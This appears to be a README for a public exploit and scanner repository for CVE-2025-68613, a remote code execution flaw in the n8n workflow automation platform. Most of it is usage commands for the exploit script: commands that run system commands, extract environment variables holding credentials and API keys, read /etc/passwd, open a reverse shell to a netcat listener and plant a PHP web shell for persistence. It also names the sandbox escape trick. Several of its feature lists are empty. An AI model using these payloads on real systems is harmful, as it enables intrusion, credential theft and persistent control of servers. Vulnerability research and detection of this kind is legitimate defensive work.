
Public PoC + Scanner and research for CVE-2025-68613: Critical RCE in n8n Workflow Automation via Expression Injection (CVSS 10.0). Includes detection tools, full exploit, and remediation guidance.

CVE-2025-68613 is a critical Remote Code Execution (RCE) vulnerability discovered in n8n, a popular open-source workflow automation platform. This vulnerability allows authenticated users to execute arbitrary code on the server, potentially leading to complete system compromise.
n8n is an open-source workflow automation platform that allows users to:
Organizations use n8n to:
This central role in IT infrastructure makes vulnerabilities particularly dangerous, as they can provide attackers with access to entire networks and sensitive data.
This repository includes ready-to-use tools for vulnerability detection and exploitation testing:
cve-2025-68613-scanner.pyPurpose: Safe, non-exploiting detection of vulnerable n8n instances
Features:
Usage:
python3 cve-2025-68613-scanner.py -u http://target:5678
Output:
CVE-2025-68613.yamlPurpose: Automated vulnerability detection and basic expression evaluation testing
Features:
Usage:
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.pyPurpose: Complete proof-of-concept exploit with multiple attack payloads
Features:
Requirements:
Installation:
pip install requests
chmod +x exploit_cve-2025-68613.py
Usage Examples:
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
How It Works:
this.constructor.constructor()process.platform or other Node.js APIsExit Codes:
In simple terms: n8n allows users to write expressions in workflows to process data dynamically. However, these expressions are evaluated without proper sandboxing, allowing attackers to break out of the intended execution context and run arbitrary code on the server.
When you create a workflow in n8n, you can use "expressions" to manipulate data. These expressions are supposed to run in a restricted environment. However, the vulnerability shows that these expressions can access the underlying system, allowing an attacker to: